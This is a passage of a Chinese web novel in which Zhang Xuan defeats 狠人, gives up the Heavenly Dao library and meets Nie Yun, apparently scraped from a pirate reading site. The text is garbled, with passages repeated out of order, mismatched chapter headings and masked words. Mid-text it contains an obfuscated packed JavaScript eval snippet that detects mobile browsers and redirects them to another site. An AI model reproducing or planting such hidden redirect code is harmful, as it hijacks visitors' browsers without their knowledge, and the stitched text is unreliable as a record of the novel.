“我一气化三清,一部分灵魂,变成了天道!再说,这个世界,是我创造的,说我是天道也无不可!”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的? 那他的实力,该有多强? “不对,如果神界是你创造的,你又是天道,为何任由狠人肆虐,而不出手……”张悬看过来。 如果不是自己突破,神界极有可能彻底崩塌,为何眼前这人,不管不问? 甚至连女儿的生死,都关心? 没回答他的问题,聂云淡淡的看过来:“你认为……神界之上,还有更加强大的生命吗?” “这……”张悬停顿了一下:“应该有吧……” 虽然没见过,但既然他能修炼到这种境界,或许其他人也可以,甚至更强。 就好像眼前这位。 “我曾怀疑,神界之上会有更强大的生命,所以用尽全力窥视,最终引来了更高世界的反噬……一个手掌破空而下!” 聂云看过来:“当时如果我躲闪,极有可能整个神界都会被抹平,再没有半个生命……所以,挡下了这招,但也因此,化身的天道被**出去。” “这种情况,我想恢复,只是一道意念而已,但……我明白,想要真正超脱神界桎梏,去探索手掌由何而来,神界之外,又有什么……单靠我一人很难做到。所以,想要看看,有没有生命,能够突破帝君桎梏,达到和我平齐的地步!” “所以,就将分散的天道意念,送到最底层的世界……分别赐予原本属于这个世界的灵魂,和一个不属于这个世界的灵魂。而你,最终没让我失望!” 聂云笑道。 “不属于这个世界的灵魂,这样说来,我穿越,也是因为你?”张悬心中一震。 难怪,能够穿越过来,没想到都是眼前这位所为。 “呵呵!”聂云轻轻一笑,道:“本身属于这个世界,就有着对世界的敬畏,想要突破世界桎梏,难度要大得多,我也是心念一动,并没想到,你真的能够成功……” “我……”张悬脸色一红:“如果不是孔师,我根本不可能达到这种地步……” 没有孔师的无私奉献,想要达到现在的境界,根本不可能做到。 “机会我给他了,没把握住而已。和灵犀的比斗,其实就是他突破的最佳机会,可惜,他选择了退避,以为自己留了后手,可以全身而退,实际上却是失去了勇猛精进,面对超越我们的人,如果连这点精神都没有,又如何能够与之抗衡?” 聂云道。 张悬沉默不语。 当时二人的战斗,他都看在眼里,孔师的确在果决上有些欠妥。 也有可能,他不愿意斩杀洛若曦吧。 可惜,就这一念之间,错过了晋级的机会。 “如果孔师获胜,若曦就会死……”片刻后,张悬看过来,眉毛皱起。 难不成,眼前这位连女儿的生死都不管了? “有我在,她不会死……”聂云淡淡一笑:“你现在的实力,和我也差不了多少了,你觉得二人的实力,生死关头,想要救人,能不能做到?” “这……”张悬苦笑。 突破帝君,和帝君,是两个概念,如果他真的愿意出手,的确可以在最后关头将人救下,而且保证,一点伤都受不了。 “灵犀,是我另外一个妻子洛倾城所生,所以她伪装的名字,姓洛……为了能让她相信,不感情用事,到现在一直以为我还陷入昏迷……” 聂云苦笑一声:“我这个爹也算做得够狠了……这样吧,这件事还是你和她解释吧,毕竟,她现在的心思,已经转移到你身上了,我这个老爹,估计都想不起来了……哈哈,我暂时就不出现了,躲避上一段时间再说,不然,真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹,面皮一抽,张悬只好答应:“好吧……” 不答应也没办法,谁让自己拐走了人家的女儿…… “天道图书馆,是我一道意念所化,是根基,也是桎梏,你能靠自己的能力,突破桎梏,说明了能力和潜力,将来前途无量,我女儿能和你在一起,做父亲的,也算欣慰了。” 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新! 第207章得知 灵魂契约,契合灵魂,只要自己不解除,哪怕对方手段通天,都无法化解。 就好像不死帝君小黄鸡,之前只是神王,他是帝君,同样没办法解决这种约定。 为了防止这家伙变卦,出现反噬的现象,名师大陆就曾专门定下,即便对方可以脱离天道之册,也无法挣脱灵魂间的约定啊! “灵魂契约,的确无法从识海中**出去,但我融合了连天道都可以化解的特殊气体,将这种契约化解掉,并不难……只要有足够力量,轰击契约所在之处,就能做到!” 狠人道。 灵魂契约,是建立在天道基础上的,特殊力量连神界天道都能化解,化解个灵魂契约,只要处理得当,又有何难? “原来如此……”张悬目光一闪。 “和你说这么多,也算感谢将我带到神界了!” 解释完,狠人不再多说,身上的气息愈发的亘古悠远,身后的黑洞变得更加巨大,显然说话的功夫,又吞噬了不知多少力量,做了滋补。 “张悬,黑洞吞的越多,他的实力越强……” 洛若曦也发现了不对劲,急忙传音过来。 “准备动手吧!”心中疑惑尽消,张悬深吸一口气,手中长剑,陡然扬起:“既然如此,那就手底下见真章吧!” 轰隆! 最强大的剑意,再次施展而出。 生当复来归,死当长相思! 生死皆不在乎,又有何事可以阻拦? 这一招剑法,虽然是没达到帝君领悟的,却蕴含了心中的一切执念,将体内的天若有情**,发挥到了极限。 呼! 一剑将狠人的攻击,斩成两半。 同一时刻,洛若曦也出手了,玉手翻滚,剑芒如雪。 她的剑法和剑神天的那位青年有些相似,带着一往无前的气势,和大道自然的潇洒。 “你们的招数是很厉害,但对比我,还是差了些……” 轻轻一笑,狠人再次向下抓来。 一瞬间,遮天蔽日,手掌将天地都笼罩了,空间碎裂,日月星辰都仿佛要被硬生生打下来。 噗!噗! 张悬和洛若曦同时倒飞而出,人在空中鲜血狂喷。 以二人的实力,竟然抵挡不住! 这家伙到底达到了何种境界? “放肆!”分身大步踏来,每走一步,就有莲花绽放,虚空中带着流水的声音。 远远看去,逼格十足。 炼化九天混沌金莲,他的修为比起张悬,丝毫不弱。 一拳扬起,力量冲上九天。 和狠人对碰,同样倒飞而出,挡不住一招。 张悬捂住额头。 成就帝君了,分身依旧不改装逼的本性…… 这么绚丽的装逼,还不如将力量集中起来,威力更大! “一起出手,不然,他们**,我们都会死……” 小黄鸡一声大喝,赤红的的火焰燃烧,天空都像被点燃。 剩下六大帝君,也各自施展手段。 七位帝君联合,毁天灭地,一方天地在面前都抵挡不住,但对方是吸收了特殊力量的狠人,攻击来到跟前,黑洞陡然变大,眨眼功夫就将力量吞噬干净,紧着着反击而出。 嘭嘭嘭嘭! 七位帝君和张悬等人一样,倒飞而出。 十大帝君,联合在一起,竟然都没挡住对方一招! 这家伙,怎么会这么强大? “你们可以**……” 一招击溃众人,狠人向前一步,手腕一翻,再次拍了下来。 “鼠辈敢尔!” 伴随一声大喝,之前剑神天的那位老者,突兀出现,挡在面前,手中长剑化作银河。 “帝君?他也是帝君实力?” 张悬瞳孔一缩。 这位老者当初跟在青年身后,本以为只是个随从,最多封号神王,施展出力量才发现,竟然也是一位帝君强者! 如果他是帝君,那位青年,是什么? “他本身就是剑神天的帝君……”挣扎站着身来,洛若曦咬牙道。 “那……传我剑法的青年呢?”张悬再也忍不住。 “他是……”洛若曦刚想回答,空间一阵扭曲,随即看到剑神天的这位帝君,同样倒飞了出去,落在不远处,砸出一个大坑。 张悬现在的实力,和对剑道的领悟,远超过他,都抗衡不住,他即便修为不弱,剑术高明,依旧不是对手。 “哈哈,帝君,一群土鸡瓦狗而已!今天我就灭了九天,灭了这神界,将一切规则踏平!” 将剑神天的帝君击败,狠人疯狂大笑,四周的空间不停坍塌,衬托的他如妖如魔。 “怎么办?”张悬拳头捏紧。 刚才他和分身,都施展出最强战斗力了,甚至眼前的洛若曦,也将最强招数使用了出来,都没挡住对方的一招…… 难道神界,真的没人能够挡住眼前这位? 任由他将世界毁灭? “唯一的办法……是将你的天道有缺,回归天道本身,让天道将他**……”洛若曦秀拳捏紧,眼眶泛红。 “回归天道本身?”张悬知道她的意思。 脑海中的图书馆,本身是天道的一部分,一旦回归,天道就等于彻底完整了,或许就可以修复漏洞,自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整,病毒来了,轻易驱赶;坏了,抵抗不住病毒入侵,再强壮的人,也会因此死亡。 只是…… “他太强大了,即便天道恢复完整,也无法**吧!”张悬摇头。 病毒,免疫系统是可以斩杀,但……猛虎呢? 再强的免疫系统,又有什么办法? 眼前这位,只是普通神王,哪怕封号,天道都可以轻易杀死,可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下,洁白的玉面上露出失落之色:“是啊……没办法**,但是,天道完整,他就能醒过来,斩杀这位,并不难!” “他?”张悬皱眉。 “我带你去见他,就在自在天……”深吸一口气,洛若曦一咬牙,转身就向前飞去。 “想逃?”狠人冷哼,向下一按。 嘭! 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来,剑意辉煌而出。 叮叮叮! 再次被狠人挡住。 “你们快走,我来挡住他……” 知道他们再想拯救神界的方法,而不是逃走,分身和不死帝尊,一声大喝挡在前面,洛七七也摇身一变,回归静空珠本体。 四周的空间凝固起来。 “走!” 见众人奋不顾身挡在后面,无畏惧死亡,张悬眼眶一红,不过,也知道现在不是多说的时候,一拉洛若曦,身体一晃,划破空间,下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在,神界崩塌,四处一片混乱。 “你说的他,在哪里?” 没空去观察普通人的生活,张悬看向怀中的女孩。 如果她说的那人,真能拯救神界,自己牺牲又何妨! “他是我的父亲,你吊坠中的血液,就是他的,不死帝君,曾是他的兽宠……”洛若曦调息了一下,解释道。 “父亲?” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似,却又不同,原来是她父亲的。 这样也就解释了,为何不死帝君留下的那道意念,看到吊坠后,立刻认自己为主。 “你父亲也是帝君?或者拥有超越帝君的实力?” 忍不住道。 图书馆混乱,是吊坠中的血液,让自己恢复清醒,难不成,不仅她是帝君,父亲也是,甚至更加强大? 如果是这样的话,又为何会昏迷? 又需要天道有缺,才能让其清醒? “他不是帝君,而是……天道!” 洛若曦秀拳捏紧。 “天道?你父亲……是天道?”张悬一震,不敢相信。 “是!五十年前,父亲抵挡不住那只大手,陷入昏迷,天道崩散成三部分,天道有序和天道有缺,进入空间乱流,我代为掌控天道自然,维持神界的平衡。想要让他恢复,只有将散开的部分收集……所以,我才如此决绝,不能失败!才专门进入名师大陆,研究春秋大典,想办法战胜孔师!和孔师战斗的时候,拜托他的事,也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久,眼前的女孩,就和自己讲述过她的故事,要救一位至亲,自己当时还不明白,现在才恍然大悟。 竟然是她父亲,而且还是神界天道! 天道真的能够化成人形,并且生儿育女吗? “代为掌控天道自然……你体内,没有天道碎片?”突然,意识到她语言中的不对劲,张悬看过来。 代为掌控,和自己这种融合在体内,是两种概念。 “我只是掌控,并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来,只需要自己将天道有缺剥离出来就行了,并不需要她也死亡。 尽管这种命运,不愿意接受,却也不愿意眼前的女孩,受到伤害。 “我将体内的天道有缺剥离出来,你父亲就能活过来,甚至将狠人击杀是吧?”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界,洛若曦迟疑。 神界是父亲的根基,现在根基都这样了,就算清醒,真的能够将那个强大的狠人击败吗? 真不好说! “看来你也不能肯定,既然如此,求人不如求己……我们只有自己想办法!”张悬咬了咬牙:“你、我、分身,联合九天九帝,如果在配合上孔师,未必不能获胜!” “孔师?他……”洛若曦皱眉。 “孔师已经**是吧!他并未真正死亡,如果猜的没错,他被你斩杀,只是用来脱离天道的方法……不出意外,他应该和魏长风一样,是【先天胎魂体】!” 张悬道。 看到魏长风,就明白过来,孔师所谓的保持灵智,应该和他一样,是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手,复活,只是时间问题。 洛若曦愣住,似乎她没想到,会是这样。 “过去看看就知道了,猜的不错,他应该已经恢复,不然,他的那些学生,不可能连潮汐海都没去……”张悬道。 孔师的那些学生,子渊古圣等人,个个实力强劲,就算没有帝君帮助,也必然有办法进入潮汐海,可却一个都没见。 必然是有更重要的事情等着,想要趁所有帝君去潮汐海无暇顾及的时候去做! 而这种重要的事,明显就是让孔师恢复。 “这……”洛若曦心中一震,恍然大悟。 “走吧!” 不再解释,单手一划,张悬重新来到孔师居住的所在,果然看到一个老者盘膝悬浮在空中,见他们来到,微微一笑:“来了!” 不是孔师,又是何人! 这位万世之师,果然没让自己失望! 和猜测的一样,趁着所有人都将注意力集中在潮汐海的时候,重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活,不死帝君也活过来了,但……没想到速度这么快! “我隐瞒天道,提前就准备了后手,幽魂池中的那个没有名字的巨人,就是我留下的,当日被你斩杀,我借机摆脱了天道的束缚,重新凝聚肉身,现在也刚刚恢复罢了!” 孔师微微一笑。 他精通时间能力,看起来神界只过了一、两天,实际上为了恢复力量,经历了不知多久。 几十年的时光,都有了。 “我们三人的实力,是很强,但想要胜过狠人,也没那么容易……” 见孔师果真恢复,洛若曦依旧摇头。 不是涨他人威风,灭自己志气,而是事实。 刚才这么多人联合,都没挡住对方,即便增加一个孔师,又能如何? 同样改变不了局面! “我们单个的实力,甚至联合在一起,的确不是对方的对手,但……如果将所有人的力量,都融合在一个人的身上呢?” 孔师笑着看过来。 “融合在一个人身上?” 这次不光洛若曦皱眉,张悬也满是疑惑。 “那个手掌能够撕裂神界,将天道都打散,实力之强,不容置疑,狠人将这股力量全部吸收,又吞噬了神界五十年的灵气,单凭实力,我们十几位帝君,单个拿出来,的确不是对手……” 孔师道:“但联合在一起,将力量集中在一人身上……就未必了吧!” “如何集中?” 洛若曦看过来。 说的简单,做起来难。 帝君已经站在神界最巅峰了,如果这么容易吸收别人的力量,她也不至于这么多年,停滞不前。 “很简单……我们将身上的力量,集中在张悬身上,一旦他能冲破帝君桎梏,就能救下神界!” 孔师道。 “我?”张悬一愣:“为什么是我?” “灵犀帝尊修炼的是自由自在,超脱自然!但有了父亲和天道的制约,有了牵挂的人,就永远没办法真正超脱!如果我没看错,当初和我战斗的时候,你也曾放弃过,打算被我斩杀吧!” 孔师道。 洛若曦说不出话来。 战斗的时候,的确有过这种打算,所以二人的交手,刚开始的时候,各自留着后手,宛如切磋,不像生死搏斗。 “无法超脱,自然也就发挥不出最强力量,即便给与再多的真气,同样无法冲击那至高的境界!至于我……” 孔师点头道:“心怀苍生,想要普度天下,却不愿意别人为我牺牲,仁慈太多,也是缺点!如果心狠一些,将异灵族灭族,就不会有现在的局面……” 当初如果能将异灵族人全部灭杀,狠人就不可能复活,也不会有现在的情况。 “所以,我也不适合!而张悬,**顺心,没有缺陷。讲究活出自我,哪怕身死,只要活得无愧,就心中坦荡。这种人拥有更大的包容,更大的发展空间,只有这样,才能走的更高,更远!” 孔师继续道。 生当复来归,死当长相思! 连死亡都不在乎,又怎么会被其他事情所羁绊? “这……”张悬皱眉,正想说些什么,就见孔师目光炯炯的看过来:“不用推辞了,先说时间来不及,去培养其他人,就算来得及,我也觉得未必有人能比你做得更好!灵犀帝尊体内虽没有天道碎片,却常年掌控天道,对天道有着属于自己的理解;我掌控天道有序,如果我们将力量灌输给你,你体内就会拥有完整天道的力量!配合上分身的九天混沌金莲,完全可以做到定九天,掌乾坤,战九霄,灭万物!” “好吧!” 见对方已经做出决定,自己解释再多也无用,张悬点了点头。 轰隆! 盘膝做好,一眨眼功夫,两股雄浑的力量,就从两侧灌涌而来。 张悬全身一僵,整个人仿佛刹那间化身天道,翱翔在九天之上。 灵魂、肉身、真气,都在瞬间得到了洗礼,越来越强,越来越雄浑。 …… “你们也想拦我?也好,杀了你们,再去将张悬斩杀……” 将洛七七和分身等人拍飞,狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量,的确很强大,不过,和他比,依旧弱了一些。 潮汐海将神界出了城市外的灵气,几乎全部吞噬干净,现在这些力量,都化作他的寄养,举手投足,带着毁灭天地的能力,这些帝君、神王,尽管代表了神界最巅峰,依旧不堪一击。 此时的狠人,仿佛代表了整个神界,无人能挡。 “神界灭亡,我们活着也没意义,我云螭,与你同归于尽……” 云螭大帝变化出本体,一头巨大的五爪金龙,凌空向他扑了过去。 “就你?不配!” 狠人手掌一捏,金龙就挂在掌心,无论如何挣扎,都逃脱不掉。 “老友,等我!” 扶猛帝君也一声大吼,变化出白虎本尊,凌空来到跟前。 不死帝君,不死火凤本尊显示出来,火焰照耀天空。 玄冥大帝,本尊乃一头大龟,宛如托举着诸天。 四大神兽,镇守神界四极,同时变化本体,崩塌的神界,都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭! 连续四掌,狠人将四兽**下来,眼中闪过一道浓烈的杀意:“既然你们找死,我就成全你们……” 咆哮声中,正想下死手将众人全部抹杀,就感到扬起的手臂一紧,在空中停了下来。 “想要杀他们,问过我没有……” 随即,众人震惊的目光中,一个人影从空中缓步走了出来。 正是张悬! 此时的青年,全身力量澎湃,比刚才强大了十倍不止,自天而来,宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来,目光凝重。 他显然也没明白,为何短短几分钟的光景,对方的实力有了如此巨大的变化。 “不过,增加了又如何?全盛期的神界,都抵挡不住,我不信,你能挡得住我……” 一声冷哼,狠人再次拍落而下。 张悬长剑扬起,迎了上来。 双方战斗在一起,空间一道道撕裂,气流四处乱窜。 “张悬能不能获胜?” 自在天孔师驻地,洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬,自身修为,已经降低到只有神王级别,不如之前那么辉煌了。 不过,级别在哪里摆着,只要力量足够,终有一天,可以重新恢复。 “凭借现在的实力,想要胜过……很难!除非……他能领悟超越帝君的力量!” 沉默了片刻,孔师道。 十几个帝君联合,都无法胜过狠人,即便他们将力量全部传递给对方,想要胜过,也没那么容易。 之所以这样做,是因为……力量只有集中在一人身上,才有可能触碰到顶点,才有可能真正超越极限,突破自我! “超越帝君的力量?” 洛若曦眼神悠远。 父亲还清醒的时候,曾和她说过同样的话,但……她无法做到,自己心爱的男子,能够做到吗? “他一定能……他有着一颗不屈的心!和对这个世界的傲然。” 看出她心中的疑问,孔师笑道。 …… 嘭嘭嘭! 连续几招下来,张悬虎口开裂,胸口出现了一道巨大的伤痕,狰狞可怖。 和孔师说的一样,即便融合了他们二人的力量,体内形成了完整的天道,依旧不是对手。 “哈哈,还以为多厉害,不过如此!”狠人冷冷一笑。 “反正不是你的对手,早晚都会**,既然如此,我想死在你最强的攻击之下……”深吸一口气,张悬停了下来,不在进攻,反而看向眼前的狠人。 “好,我成全你,给你最强的攻击……” 听他这样说,狠人愣了一下,随即冷哼一声,手掌扬起。 哗啦! 一道青光出现在掌心,猛地拍落而下。 果然是最强攻击,整个神界都发出轰鸣,宛如快要承受不住,再次被打出一个巨大的坑洞。 双眼紧闭,张悬并未躲避。 嘭! 脑袋炸裂开来,灵魂四处溃散。 “张悬……”看到这一幕,所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛,不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏,冲击超越帝境境界的,怎么不去反抗,甘心赴死? 这样,岂不辜负了他们的一番好心? “不对,是不死帝君的不死之法……” 正在奇怪,孔师突然开口。 众人随即看到,脑袋炸开,甚至灵魂碎裂的张悬,胸口的吊坠陡然炸开,一滴血液悬浮而起,燃烧起来,形成了一团炙热的火焰,火焰中,一具完好无损的身影,缓步而出。 “他……借助对方的力量,和吊坠中的血液,将天道有缺和灵魂分离了?” 洛若曦瞳孔收缩。 浴火重生后的张悬,体内竟然没了天道图书馆,没了天道的干扰,脱离了天道! “他怎么做到的?” 孔师也满是不敢相信。 天道和灵魂融合在一起,不分彼此,为了摆脱,他不得不魂飞魄散,借助幽魂池重新凝聚魂魄。 眼前这位,只被斩杀了一下,就彻底摆脱,用了什么办法? “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人,主人不解除,仆人就永远受制……天道图书馆也是这样,可以说是一种增强版的契约。 绑定了灵魂,不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约,具 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16236187|177619||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 体方法,张悬之前详细询问过,恐怕那时就动了心思。 这才故意拼死,让其施展出最强力量对他攻击。 借助这种力量,浴火重生,没想到,果然大获成功! “原来如此,这才是突破帝君的方法……” 从火焰中走出的张悬,脸上露出淡淡的微笑,像是明白了什么,突然一招手,一侧的分身,立刻重新变成一朵莲花,飞了过来。 刹那间,与自身完美融合。 一眨眼功夫,众人感觉,眼前的张悬,像是变成了九天,九天就是他。 脚掌在地上轻轻一踏。 混乱的九天,立刻稳定下来。 九天混沌金莲,九天诞生时出现,能够稳定九天,此时分身和自我完美融合,不分彼此,也就等于他掌控了这种力量。 不仅如此,融合了九天混沌金莲的修为,他本就达到巅峰的境界,出现了松动,似乎随时都会突破。 “主仆情、兄弟情、师生情、父母情、爱情……融合在一起,原来就是世间万物,这才是人!” 面带微笑,张悬喃喃自语。 天道图书馆脱离灵魂的刹那,他明白过来。 是人看了世界,才有了世界,还是先有世界,后有了人? 是风动,还是心动! 这个问题,亘古不朽的困扰着无数人。 当然,现在……这些都不重要了! 没有生命,没有情感,世界就算存在,又有何意义? 所以,突破爱情之后,是众生情!是交织天下的情感。 世间万物皆有情感,有情才有世界,有情感,才能延续生命。 爱,是情。 憎,是情。 高兴,是情。 痛苦,是情。 离别,是情。 相聚,也是情! “万千情意,为我所用……” 一声低呼,张悬体内禁锢的境界,瞬间破开。 帝君桎梏,突破了! 一瞬间,仿佛触摸到了一个全新的世界和大门,灵魂得到了快速的滋养。 无数混沌之气,涌了过来,肉身也飞速提升。 之前只有吸收灵力,才能进步,而现在空间乱流、混沌之气,哪怕是对方的青光,都可以为我所有,不分彼此。 “你……”狠人没想到,自己的全力攻击,非但没将其斩杀,反而成全了他,气的“哇哇!”乱叫,一声怒喝,再次攻击下来。 “你怨恨高高在上的帝君,没在空间乱流中救下自己,是情;觉得曾是我的仆人,蕴含卑微和愤怒,是情;想要毁灭神界,发泄愤怒,是情;想要变得更加强大,同样是情……情感控制着你,你又如何胜得过我,不被我控制?” 淡淡一笑,张悬的声音越来越快,越来越响亮,手掌轻轻一抓。 原本纵横无敌的狠人,就被无数情感细线,禁锢在一起,束手束脚,无法动弹。 只要有情,就要被他所用,被他控制! “你……” 狠人眼中满是惶恐:“张师,我是你的仆人,不要杀我……我愿意灵魂献祭……” “现在再说这些,已经晚了……”微微一笑,张悬摇了摇头。 掌控天下之情,仆人之类对于他来说,已经没任何意义了。 杀了神级这么多人,伤了自己的女朋友,洛七七以及这么多朋友,今天,又怎么可能宽恕! “不……” 感受到他的果决,狠人瞳孔收缩,话音未结束,立刻感到身上一阵剧烈的疼痛。 嘭! 一刹那间,**开来,化作无数灵气,向神界各处灌涌。 之前,潮汐海吞噬掉的所有力量,此时全部反哺回来,已经枯竭的荒野,重新焕发生机。 “这……” “这样就杀了?” 云螭大帝、不死帝君、玲珑仙子啊等人,全都瞪大了眼睛,不敢相信。 刚才他们和狠人交过手,知道可怕,这么强大的人,竟然随手覆灭,这位张悬……到底达到了何种地步? 难道帝君之上,真的还有另外的境界? “他成功了……” 孔师和洛若曦,松开捏紧的拳头。 “这是天道的一部分,那我现在就归还天道……” 看到刚才从自己体内,被分离出来的“天道有缺”,依旧在空中悬浮,张悬轻轻一笑,屈指一弹。 嗡! 从重生就伴随他的图书馆,轰然镶嵌在神界的天空之上。 大钟般的鸣响,不断崩溃的神界,肉眼可见的缓慢恢复,混乱的气流,也重新聚拢起来。 崩塌的神界,终于停了下来,干枯的灵气,也伴随狠人的死亡,慢慢复苏。 “看来,神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿,伴随天道的补全,已经恢复,神界恢复以前的盛况,只是时间问题。 “张悬,这边来……” 刚做完这些,脑中响起一个声音,张悬愣了一下,一步跨出。 这一步,不知飞了多远,随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈,你……” 看到是他,张悬一愣。 之前就觉得这位,深不可测,现在才发现,比起自己,也只差了一丝而已,已然达到了帝君的最巅峰,比起之前的洛若曦,都强大不知多少。 “直呼我名字即可,我叫……聂铜!”青年身上散发出一往无前的剑意,淡淡道。 “聂铜?”张悬皱了皱眉。 第一次听到这个名字。 “跟我来,带你见我哥哥!”叫做聂铜的青年莞尔一笑,向前跨步而出。 张悬紧跟在身后,不知飞了多远,在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少,双眉上扬,给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力,竟然比他还要强大,同样突破了帝君的桎梏,而且修为更加深远厚重! “在下,聂云!”青年淡淡一笑,看了过来:“也就是……聂灵犀,你口中洛若曦的父亲!” “若曦的父亲?” 张悬一震:“你……是神界天道?” 之前洛若曦说过,自己的父亲,是天道,怎么都想不到,是这样一个年轻人。 “我一气化三清,一部分灵魂,变成了天道!再说,这个世界,是我创造的,说我是天道也无不可!”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的? 那他的实力,该有多强? “不对,如果神界是你创造的,你又是天道,为何任由狠人肆虐,而不出手……”张悬看过来。 如果不是自己突破,神界极有可能彻底崩塌,为何眼前这人,不管不问? 甚至连女儿的生死,都关心? 没回答他的问题,聂云淡淡的看过来:“你认为……神界之上,还有更加强大的生命吗?” “这……”张悬停顿了一下:“应该有吧……” 虽然没见过,但既然他能修炼到这种境界,或许其他人也可以,甚至更强。 就好像眼前这位。 “我曾怀疑,神界之上会有更强大的生命,所以用尽全力窥视,最终引来了更高世界的反噬……一个手掌破空而下!” 聂云看过来:“当时如果我躲闪,极有可能整个神界都会被抹平,再没有半个生命……所以,挡下了这招,但也因此,化身的天道被**出去。” “这种情况,我想恢复,只是一道意念而已,但……我明白,想要真正超脱神界桎梏,去探索手掌由何而来,神界之外,又有什么……单靠我一人很难做到。所以,想要看看,有没有生命,能够突破帝君桎梏,达到和我平齐的地步!” “所以,就将分散的天道意念,送到最底层的世界……分别赐予原本属于这个世界的灵魂,和一个不属于这个世界的灵魂。而你,最终没让我失望!” 聂云笑道。 “不属于这个世界的灵魂,这样说来,我穿越,也是因为你?”张悬心中一震。 难怪,能够穿越过来,没想到都是眼前这位所为。 “呵呵!”聂云轻轻一笑,道:“本身属于这个世界,就有着对世界的敬畏,想要突破世界桎梏,难度要大得多,我也是心念一动,并没想到,你真的能够成功……” “我……”张悬脸色一红:“如果不是孔师,我根本不可能达到这种地步……” 没有孔师的无私奉献,想要达到现在的境界,根本不可能做到。 “机会我给他了,没把握住而已。和灵犀的比斗,其实就是他突破的最佳机会,可惜,他选择了退避,以为自己留了后手,可以全身而退,实际上却是失去了勇猛精进,面对超越我们的人,如果连这点精神都没有,又如何能够与之抗衡?” 聂云道。 张悬沉默不语。 当时二人的战斗,他都看在眼里,孔师的确在果决上有些欠妥。 也有可能,他不愿意斩杀洛若曦吧。 可惜,就这一念之间,错过了晋级的机会。 “如果孔师获胜,若曦就会死……”片刻后,张悬看过来,眉毛皱起。 难不成,眼前这位连女儿的生死都不管了? “有我在,她不会死……”聂云淡淡一笑:“你现在的实力,和我也差不了多少了,你觉得二人的实力,生死关头,想要救人,能不能做到?” “这……”张悬苦笑。 突破帝君,和帝君,是两个概念,如果他真的愿意出手,的确可以在最后关头将人救下,而且保证,一点伤都受不了。 “灵犀,是我另外一个妻子洛倾城所生,所以她伪装的名字,姓洛……为了能让她相信,不感情用事,到现在一直以为我还陷入昏迷……” 聂云苦笑一声:“我这个爹也算做得够狠了……这样吧,这件事还是你和她解释吧,毕竟,她现在的心思,已经转移到你身上了,我这个老爹,估计都想不起来了……哈哈,我暂时就不出现了,躲避上一段时间再说,不然,真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹,面皮一抽,张悬只好答应:“好吧……” 不答应也没办法,谁让自己拐走了人家的女儿…… “天道图书馆,是我一道意念所化,是根基,也是桎梏,你能靠自己的能力,突破桎梏,说明了能力和潜力,将来前途无量,我女儿能和你在一起,做父亲的,也算欣慰了。” 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新! 第208章下一步 灵魂契约,契合灵魂,只要自己不解除,哪怕对方手段通天,都无法化解。 就好像不死帝君小黄鸡,之前只是神王,他是帝君,同样没办法解决这种约定。 为了防止这家伙变卦,出现反噬的现象,名师大陆就曾专门定下,即便对方可以脱离天道之册,也无法挣脱灵魂间的约定啊! “灵魂契约,的确无法从识海中**出去,但我融合了连天道都可以化解的特殊气体,将这种契约化解掉,并不难……只要有足够力量,轰击契约所在之处,就能做到!” 狠人道。 灵魂契约,是建立在天道基础上的,特殊力量连神界天道都能化解,化解个灵魂契约,只要处理得当,又有何难? “原来如此……”张悬目光一闪。 “和你说这么多,也算感谢将我带到神界了!” 解释完,狠人不再多说,身上的气息愈发的亘古悠远,身后的黑洞变得更加巨大,显然说话的功夫,又吞噬了不知多少力量,做了滋补。 “张悬,黑洞吞的越多,他的实力越强……” 洛若曦也发现了不对劲,急忙传音过来。 “准备动手吧!”心中疑惑尽消,张悬深吸一口气,手中长剑,陡然扬起:“既然如此,那就手底下见真章吧!” 轰隆! 最强大的剑意,再次施展而出。 生当复来归,死当长相思! 生死皆不在乎,又有何事可以阻拦? 这一招剑法,虽然是没达到帝君领悟的,却蕴含了心中的一切执念,将体内的天若有情**,发挥到了极限。 呼! 一剑将狠人的攻击,斩成两半。 同一时刻,洛若曦也出手了,玉手翻滚,剑芒如雪。 她的剑法和剑神天的那位青年有些相似,带着一往无前的气势,和大道自然的潇洒。 “你们的招数是很厉害,但对比我,还是差了些……” 轻轻一笑,狠人再次向下抓来。 一瞬间,遮天蔽日,手掌将天地都笼罩了,空间碎裂,日月星辰都仿佛要被硬生生打下来。 噗!噗! 